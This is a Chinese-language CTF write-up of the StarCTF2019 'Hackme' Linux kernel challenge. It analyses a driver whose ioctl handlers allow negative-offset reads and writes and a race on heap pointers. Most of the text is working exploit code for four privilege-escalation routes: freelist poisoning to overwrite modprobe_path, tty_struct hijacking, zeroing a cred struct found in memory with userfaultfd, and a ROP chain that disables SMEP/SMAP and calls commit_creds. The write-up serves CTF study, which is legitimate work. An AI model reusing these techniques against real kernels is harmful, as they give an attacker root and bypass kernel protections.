此次选择StarCTF2019的Hackme题目来分析

题目分析

Qemu启动脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#! /bin/sh
qemu-system-x86_64 \
    -m 256M \
    -nographic -net user -net nic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null 2>/dev/null \
    -initrd initramfs.cpio \
    -smp cores=2,threads=2 \
    -cpu qemu64,smep,smap  \
    -s

开启以下保护

SMEP:  管理模式执行保护,保护内核是其不允许执行用户空间代码
SMAP:  管理模式访问保护,禁止内核访问用户空间的数据
KASLR: 内核地址随机化
       同时,镜像以多线程形式启动

/etc/init.d/rcS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh

echo "CiAgICAgICAgIyAgICMgICAgIyMjIyAgICAjIyMjIyAgIyMjIyMjCiAgICAgICAgICMgIyAgICAj
ICAgICMgICAgICMgICAgIwogICAgICAgIyMjICMjIyAgIyAgICAgICAgICAjICAgICMjIyMjCiAg
ICAgICAgICMgIyAgICAjICAgICAgICAgICMgICAgIwogICAgICAgICMgICAjICAgIyAgICAjICAg
ICAjICAgICMKICAgICAgICAgICAgICAgICAjIyMjICAgICAgIyAgICAjCgo=" | base64 -d

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/hackme.ko
chmod 644 /dev/hackme

echo 0 > /proc/sys/kernel/dmesg_restrict # 写0,可通过 dmseg 命令查看内核日志
echo 0 > /proc/sys/kernel/kptr_restrict  # 可读取/proc/kallsyms,为何此处我 cat /proc/kallsyms 指针地址都是0
cat /proc/modules
cat /proc/kallsyms | grep prepare_cred
cd /home/pwn
chown -R root /flag
chmod 400 /flag

#cat /proc/slabinfo | grep cred_jar
chown -R 1000:1000 .
setsid cttyhack setuidgid 1000 sh

umount /proc
poweroff -f

脚本打印了驱动模块hackme.ko加载地址,可以方便使用GDB进行调试

驱动模块

驱动写了一个常规Pwn中的堆题功能相似的结构,增删查改功能都有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// case 0x30000: add
// case 0x30001: delete
// case 0x30002: write_to_kernel
// case 0x30003: read_from_kernel
struct user_arg {
	size_t index;
	char *user_ptr;
	size_t size;
	size_t off;
};

其中存在如上一个结构体,利用ioctl与驱动交互,会读取上述0x20大小的数据到内核中

copy_from_user(&INDEX, arg, 0x20LL);
0x30000 add
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
if (CMD == 0x3000)
{
	Size = size;
	User_ptr = user_ptr;
	BSS_ptr = &LIST[2 * INDEX];
	if ( *BSS_ptr )
		return -1LL;
	k_ptr = _kmalloc(size, 0x6000C0LL);
	if ( !k_ptr )
		return -1LL;
	*BSS_ptr = k_ptr;
	copy_from_user(k_ptr, User_ptr, Size);
	BSS_ptr[1] = Size;
	return 0LL;
}
0x30001 delete
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
if ( CMD == 0x30001 )
{
	idx = 2LL * INDEX;
	k_ptr = LIST[idx];
	BSS_ptr = &LIST[idx];
	if ( k_ptr )
	{
		kfree(k_ptr, Arg);
		*BSS_ptr = 0LL;
		return 0LL;
	}
	return -1LL;
}
0x30002 write_to_kernel
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if ( CMD == 0x30002 )
{
	idx = 2LL * INDEX;
	k_ptr = LIST[idx];
	BSS_ptr = &LIST[idx];
	if ( k_ptr && offset + size <= BSS_ptr[1] )
	{
		copy_from_user(offset + k_ptr, user_ptr, size);
		return 0LL;
	}
}
0x30003 read_from_kernel
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
if ( CMD == 0x30003 )
{
	idx = 2LL * INDEX;
	k_ptr = LIST[idx];
	BSS_ptr = &LIST[idx];
	if ( k_ptr )
	{
		if ( offset + size <= BSS_ptr[1] )
		{
			copy_to_user(user_ptr, offset + k_ptr, size);
			return 0LL;
		}
	}
}

漏洞点

  1. read_from_kernelwrite_to_kernel中,只检验了 offset + size <= BSS_ptr[1],没有检验offset的范围,所以offset可以为负数从而可以向上写数据
  2. adddelete中,对于内核堆指针的存放和置0过程中,没有加锁,所以存在条件竞争漏洞,两个线程,一个释放堆块,一个修改或读取堆块,即可实现UAF漏洞

利用

1. 负溢实现任意写

首先申请5次堆块,然后释放1,3

1
2
3
4
5
6
7
	add(fd,0,buf,0x100);
	add(fd,1,buf,0x100);
	add(fd,2,buf,0x100);
	add(fd,3,buf,0x100);
	add(fd,4,buf,0x100);
	delete(fd,1);
	delete(fd,3);

此时chunk3指向chunk1,再利用负溢和read_from_kernel函数,即可从index=4获取位于chunk3中的堆地址,此处堆地址后续无用

1
2
3
	read_from_kernel(fd,4,buf,0x100,-0x100);
	heap_address = *(size_t*)buf;
	printf("HEAP:\t%p\n",heap_address);

之后则猜测在chunk0之前存在系统申请的堆块,那么其中也许残留有内核指针,同样的操作,读取chunk0前的数据,从而计算出内核基址

1
2
3
4
5
6

	read_from_kernel(fd,0,buf,0x200,-0x200);
	kernel_base = *(size_t*)(buf + 0x28);
	if ((kernel_base & 0xFFF) != 0xAE0)	exit(-1);
	kernel_base -= 0x849AE0; // sub sysctl_table_root offset
	printf("Kernel:\t%p\n",kernel_base);

既然拿到了内核地址,那么配合write_to_kernel修改已经释放的堆块的首位8个字节,则可以控制堆块任意申请到指定位置,此处还需要泄漏模块hackme.ko加载地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
	size_t p = kernel_base + 0x811000 + 0x40; // add 0x40 to avoid the junk data to cover the hackme load address
	memcpy(buf,&p,8);
	write_to_kernel(fd,4,buf,0x100,-0x100);
	
	add(fd,5,buf,0x100); // old chunk 3
	add(fd,6,buf,0x100);
	
	read_from_kernel(fd,6,buf,0x40,-0x40);
	mod_address = *(size_t*)(buf + 0x18);
	printf("Mod:\t%p\n",mod_address);

通过mod_tree的偏移加上kernel_base计算出当前mod_tree在内存中的位置,加0x40是因为在add的时候,申请多大的数据则会复制多少数据到内核中,而mod_tree+0x18存放了hackme.ko的加载地址,如果在此之前因为拷贝数据会导致想要的数据被覆盖,所以申请chunk到想要的数据所在内存之后,然后利用负溢读取之前的数据获取hackme.ko的加载地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
	delete(fd,5);
	
	size_t pool = mod_address + 0x2400 + 0x100; // select a suitable address to save the evil address
	                                            // here I choose pool+0x100 to save them;
	memcpy(buf,&pool,8);
	write_to_kernel(fd,4,buf,0x100,-0x100);
	
	add(fd,7,buf,0x100);
	add(fd,8,buf,0x100);
	
	*(size_t*)(buf + 8) = 0x100;
	*(size_t*)(buf + 0) = kernel_base + 0x83F960; // it is the offset of modprobe_path in vmlinux
	
	write_to_kernel(fd,8,buf,0x10,0);

既然获取了驱动模块加载地址,那么此时则利用堆块任意申请将堆块申请到pool数组处,之后则可以进行控制堆块指针,实现任意写,此处我们修改modprobe_path指针中存放的文件地址为我们的shell脚本,因为执行call_usermodehelper时以root权限执行,所以当执行一个错误的elf文件则会触发此函数,并执行modprobe_path指向的文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
	strncpy(buf,"/home/pwn/copy.sh\0",18);
	
	write_to_kernel(fd,0x10,buf,18,0);
	/*
		#!/bin/sh
		/bin/cp /flag /home/pwn/flag
		/bin/chmod 777 /home/pwn/flag
	*/
	system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
	system("chmod +x /home/pwn/copy.sh");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
	system("chmod +x /home/pwn/dummy");

	system("/home/pwn/dummy");
	system("cat flag");
	close(fd);
	return 0;

2. 劫持tty_struct

因为打开/dev/ptmx时,会申请0x400大小的空间,此时释放一个0x400的堆块,当打开/dev/ptmx时会申请前面释放的堆块,再配合write_to_kernelread_from_kernel以及负数溢出即可从tty_struct结构体中读取到内核指针并控制tty_struct中的tty_operations指针,之后再构建ROP Chain即可

3. 利用userfaultfd机制修改cred结构数据

首先fork200个子进程并让每次fork的子进程判断uid==0后执行shell,此过程中会申请一定相应大小的内存存放Cred结构体,而这段内存位于kmalloc申请的堆块的上方大约0x160000偏移左右处

1
2
3
4
5
	for (i = 0; i<200; i++)
	{
		if (fork() == 0)
			get_root(i);
	}
Cred结构体
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    ......
};

之后通过负溢读取上方0x160000偏移左右处往后的数据,从中搜寻cred结构体,因为镜像启动后,用户权限是1000,所以对应Cred结构体中的uid开始的8*4字节都是1000,搜索到后则置0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
	char *buf = malloc(MAX_DATA_SIZE);
	add(fd, 0, buf, 0x100);
	read_from_kernel(fd, 0, buf, MAX_DATA_SIZE, -MAX_DATA_SIZE);
	uint32_t *mem = (uint32_t*)buf;
	uint32_t cred_offset = 0;
	puts("[+] Searching Cred");
	for (i = 0; i < SEARCH_SIZE/4; i++)
	{
		if (mem[i + 0] == 1000 &&
			mem[i + 1] == 1000 &&
			mem[i + 2] == 1000 &&
			mem[i + 3] == 1000 &&
			mem[i + 4] == 1000 &&
			mem[i + 5] == 1000 &&
			mem[i + 6] == 1000 &&
			mem[i + 7] == 1000)
		{
			printf("[+] Find A Cred At Offset: %#x\n", i*4); // Searching One Cred And Modify IT TO R00T (: 
			for (j = 0; j < 8; j++)
				mem[i+j] = 0;
			cred_offset = i*4;
			break;
		}
	}
	if (cred_offset == 0)
	{
		puts("[-] Cannot Find Cred");
		exit(-1);
	}

既然已经获取并修改了对应的数据,后面要做的就是将修改后的数据重新写回到内核对应的内存位置,因为写入大约0x10000字节数据后,后面则是不可写数据段,继续写会触发内核崩溃,所以在写回之前,利用userfaultfd机制,在写入0x10000字节的同时,监控0x10000后面的地址,如果触碰到缺页,则会暂停数据拷贝,且此时已经将上面0x10000中的数据写回修改了某个子进程的cred结构体,而此子进程则会判断uid==0并执行/bin/sh

1
2
3
4
5
6
	char *new = (char *) mmap(NULL, MAX_DATA_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	memcpy(new, buf, SEARCH_SIZE);
	fault_page = (uint64_t)new + SEARCH_SIZE;
	fault_page_len = MAX_DATA_SIZE - SEARCH_SIZE;
	register_userfault(fault_page, fault_page_len); // 注册缺页,如果访问到非法地址,则会挂起进程,防止内核崩溃
	write_to_kernel(fd, 0, new, MAX_DATA_SIZE, -MAX_DATA_SIZE); // 当内核访问到非法地址时,cred中UID已经被修改为0

4. 利用userfaultfd机制和条件竞争修改tty_struct

因为后面利用了tty_struct结构来构造ROP Chain,所以首先保存用户态的几个必要的寄存器,add一次然后释放残留一个很大的size,父进程sleep(2),让fork的子进程先运行,子进程会先注册并监控缺页内存,子进程中的copy_from_user会因为此时传入到内核中的ptr对应的内存未初始化,从而触碰userfaultfd机制并挂起,此时pool数组中存有一个指针,因为驱动中是在copy_from_user执行后才保存指针的,所以残留的0x200000大小的size没有被覆盖掉

	*BSS_ptr = k_ptr;
	copy_from_user(k_ptr, User_ptr, Size);
	BSS_ptr[1] = Size;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
	save_status();
	uint64_t fault_page,fault_page_len;
	uint64_t kernel_base, heap_base, ptm_unix98_ops = 0x625D80;
	size_t fd = open("/dev/hackme",O_RDONLY);
	
	char *buf = malloc(SEARCH_SIZE);
	memset(buf,0,SEARCH_SIZE);
	
	add(fd, 0, buf, SEARCH_SIZE);
    delete(fd, 0);
    if (fork() == 0)
    {
       	buf = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        uint64_t fault_page = (uint64_t)buf;
        uint64_t fault_page_len = 0x1000;
        register_userfault(fault_page, fault_page_len); // 注册监视缺页内存,遇到缺页则会挂起
        add(fd, 0, buf, 0x2E0);
    }
    sleep(2); // 等待子进程触发页错误

之后则是利用驱动模块中的指针并搜寻内存中tty_struct结构体的所在位置,因为size很大,所以搜寻的范围也很大,找到tty_struct后利用tty_struct中的数据计算出kernel-base堆地址则是部署一个ROP Chain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    size_t ptmx_fd = open("/dev/ptmx",O_RDONLY);
    puts("---- Begin TO Find PTMX Struct");
    
    uint64_t evil_buf[0x200/8];
    uint64_t ptmx_offset = 0,i,j;
    for (i = 0; i < SEARCH_SIZE; i += 0x200)
    {
        read_from_kernel(fd, 0, (char*)evil_buf, 0x200, i);
        for (j = 0; j < 0x200/8; j++)
            if (evil_buf[j] == 0x0000000100005401)
            {
                ptmx_offset = i + j*8;
                printf("[+] Have Found PTMX Struct At Offset: %#lx\n", ptmx_offset);
                break;
            }
        if (ptmx_offset != 0)
            break;
    }
    if (ptmx_offset == 0)
        errExit("[-] Cannot find ptmx struct");
    // 通过tty_struct 中的指针 从而获取堆 和 内核的地址
    kernel_base = evil_buf[3] - ptm_unix98_ops;
    heap_base   = evil_buf[7] - 0x38 - ptmx_offset;
    printf("Kernel:\t%p\n",kernel_base);
    printf("HEAP:\t%p\n",heap_base);
    prepare_kernel_cred = 0x4D3D0 + kernel_base;
    commit_creds        = 0x4D220 + kernel_base;

ROP Chain布置如下,不多说了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    evil_buf[3] = (uint64_t)heap_base + 0x180;  // 此处指向 fake_tty_operations 指针位置,只要满足调用ioctl指针的时候调用gadget1
    											// 而脚本是从 [0x80/8 + i]开始才存放gadget1指针,所以此处指向0x180偏移处		
    evil_buf[0x38/8] = heap_base + 0x100;
   	write_to_kernel(fd, 0, (char*)evil_buf, sizeof(evil_buf), ptmx_offset);
   	
   	//******* 简单的构造ROP + tty_struct 进行利用,其中修改CR4寄存器,故可以ret2usr
   	uint64_t fake_tty_operations[40];
    for (i = 0; i < 0x10; i++)
        fake_tty_operations[0x80/8+i] = kernel_base + 0x5DBEF;
        // 改tty_operations中ioctl函数指针对应的指针
        // gadget 1:  mov rax, qword ptr [rbx + 0x38]; mov rdx, qword ptr [rax + 0xC8]; call rdx;
	fake_tty_operations[0xC8/8] = kernel_base + 0x200F66; //gadget 2:  mov  rsp, rax;  pop  r12;  push r12; retn
    fake_tty_operations[0]  = kernel_base + 0x01B5A1; //pop rax ; ret
    fake_tty_operations[1]  = 0x6F0;
    fake_tty_operations[2]  = kernel_base + 0x0252B; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
    fake_tty_operations[3]  = 0;
    fake_tty_operations[4]  = (size_t)&get_root;
    write_to_kernel(fd, 0, (char*)fake_tty_operations, sizeof(fake_tty_operations), 0x100);
    ioctl(ptmx_fd,0,0);

知识点

1. 堆分配: 在Linux Kernel中,kmalloc等堆内存分配,基于`slub`分配器,当释放的时候,将会以单向链表的形式进行维护;
   先入后出结构,首位8字节指向之前释放的相同大小堆块  
   修改此8字节为可控地址,则能够实现任意内存分配,且当堆块申请回来,可以利用残留数据获取堆块地址或者内核基址  
2. 泄漏模块驱动加载地址: 权限足够,可以读取`/proc/kallsyms` 或者 `cat /sys/modules/device_name/section/.text`,从而获取模块驱动加载地址

“Reference”

[linux内核漏洞利用]call_usermodehelper提权路径变量总结
[附件]